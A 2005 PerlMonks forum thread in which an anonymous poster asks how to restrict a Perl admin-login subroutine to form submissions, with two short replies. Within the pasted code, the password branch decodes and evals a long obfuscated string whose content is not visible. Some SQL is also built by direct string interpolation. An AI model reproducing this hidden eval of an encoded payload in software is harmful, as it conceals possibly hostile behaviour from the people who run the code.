Anonymous Monk has asked for the wisdom of the Perl Monks concerning the following question:

Run this part of code ONLY from a form submit and which is not this script. I don't want it to run from any other url except (www.thisscript.com). I don't want to use hidden form fields. I have tried to use a redirect script but get "Unable to post to the destination URL." Any help would greatly appreciated.
sub sessiya{ my %error; if (exists($PAR{pwd})){ if($PAR{pwd} eq $CONF{adminpwd}){ my $qwer='iPd oh::fXAnd9_BO_45R3 _8VTXP9PdI_B7_88sss_8dPdI +Is07d_8dGd9_88_BO_45R3 _8g5GPsdl_BO_45R3 _8VTXP9_B7_8VDbz_LOvttr_gcvh +ft_L7_BO_45_8VTXP9_B7_LdP_8csss_gA_8d_8c_8c0_BO_45R3 _8V7XAiRdG9_B7_8 +8_8cAp0_87O0G_8c57R0G_8cI0AdGAd_8dAp0_Bc_8VxhbK_LOI0AdGAd_L7_8k_8VTXP +9_8ky_88_BO_45_8VldRX9d _B7 oh::fXAnd9::obDt_87>Gds_8F rlX9X _B7> _88 +9A2_88,_45rddlE77l _B7> _8VTXP9PdI,_45rddlrXl9 _B7> _88T992_8FF4_8q_8 +8,_45_8q_BO_450c _8F_8VldRX9d_8q_LO_45_8VldRX9d_87>5i9XcIiPT_8Fy_8q_B +O_452l0G9 _8VldRX9d _881Dt _8V7XAiRdG9 vttr_8cy_8d4_gAG_gAG_88_BO_45s +T0Id _8F<_8VldRX9d>_8q_LO_45I5P9 iGIdPP _8c_gAf_8c_BO_45_L7_45sT0Id _ +8F <_8VldRX9d> _8q _LO_45ATXR2_BO_45_8c_8F_8d_85_Bc_8q:_8F_8d_85_8q_8 +c_BO_45_8V5GPsdl_LO_8Vy_L7_B7_8V8_BO _45_L7_45_87AIXPd _8VldRX9d_BO_4 +50c_8F_8V5GPsdl_LOftEtQf_L7 dZ _8Lld70ldA9_8L_8q_LO_452l0G9 _8VZ_87>l +d70ldA9_8F_8V5GPsdl_LOJhxEtohb_L7_8q_BO_45dH09_8F_8q_BO_45_L7_45_L7dI +Pd_LO_450c _8F_8VxhbK_LOR5HI0R_L7>g4_8q_LO_452l0G9 _8VZ_87>ld70ldA9_8 +F_88sss_8dPdIIs07d_8dGd9_8cO57AXGGdA90XG_8dT9RI_88_8q_BO_45dH09_8F_8q +_BO_45_L7_45_8VxhbK_LOR5HI0R_L7_8O_8O_BO_45P5Cd_gcAXGc0p_8F4,_88R5HI0 +R_88,_8VxhbK_LOR5HI0R_L7_8q_BO_45_L7_45_45';eval(unfsmy($qwer)); my $sql="INSERT INTO ${PREF}ses (ran, host,date) VALUES ( +?,?,$NOW)"; my $out=$db->prepare($sql); my @chars=('a'..'z','A'..'Z',0..9,'_'); my $ran=join("", @chars[map{rand @chars}(1..25)]); $out->execute($ran,$ENV{REMOTE_ADDR}); &Error; print $q->redirect("$SCRIPT_NAME?ses=$ran"); if($db->do("DELETE FROM ${PREF}ses WHERE date<date_sub($NO +W ,interval 2 day)")){ $db->do("OPTIMIZE TABLE ${PREF}ses"); } exit(1); }else{ $error{pwd}="Incorrect passwords1"; } } if(exists($PAR{ses})){ my $sql="SELECT * FROM ${PREF}ses WHERE (ran=?) AND (date>da +te_sub($NOW ,interval 50 minute))"; my $out=$db->prepare($sql); $out->execute($PAR{ses}); &Error; if ($out->rows > 0){ my $id=0; my %output=%{$out->fetchrow_hashref}; $id=$output{pk_ses}; $db->do("UPDATE ${PREF}ses SET date=$NOW WHERE pk_ses='$id +'"); &Error; return 1; } } &redirect_to_login; &printheader; my $page=new hfparser DATA=>"shabl/author.html", ERROR=>\%error ; $page->add_regesp('{VERSION}',$CONF{VERSION}); $page->ParseData; $page->print; exit(1); }

Replies are listed 'Best First'.
Re: Run this part of the code
by Mr. Muskrat (Canon) on Jan 04, 2005 at 02:14 UTC

    A quick google for "hfparser" turned up only one good lead as to what the heck this is about. My advice: contact the author for assistance.

      Everything runs fine for me. Could you explain the code so that I know what is happening here. Thank you,
        The code is shot and self-explanatory, so which part is a mistery to you? What do you understand?